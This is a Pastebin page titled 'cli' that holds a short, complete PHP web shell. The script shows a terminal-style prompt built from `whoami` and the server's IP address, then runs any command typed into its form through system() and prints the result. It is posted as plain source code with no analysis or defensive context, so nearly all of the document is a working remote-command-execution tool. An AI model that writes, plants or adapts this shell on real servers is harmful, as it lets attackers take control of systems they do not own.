Blacklist_Cyber

cli

Apr 3rd, 2023
1,427
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.40 KB | Source Code | 0 0
  1.  <html>
  2. <body>
  3. <?php $svrip = $_SERVER['SERVER_ADDR'];?>
  4. <form method="POST" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
  5. <?=`whoami`."@".$svrip.":~$"?> <input type="text" name="cmd" autofocus id="cmd" size="50"><input type="submit" value="Execute">
  6. </form>
  7. <pre>
  8. <?php
  9.     if(isset($_POST['cmd']))
  10.     {
  11.         system(htmlspecialchars($_POST['cmd']));
  12.     }
  13. ?>
  14. </pre>
  15. </body>
  16. </html>
Advertisement
Add Comment
Please, Sign In to add comment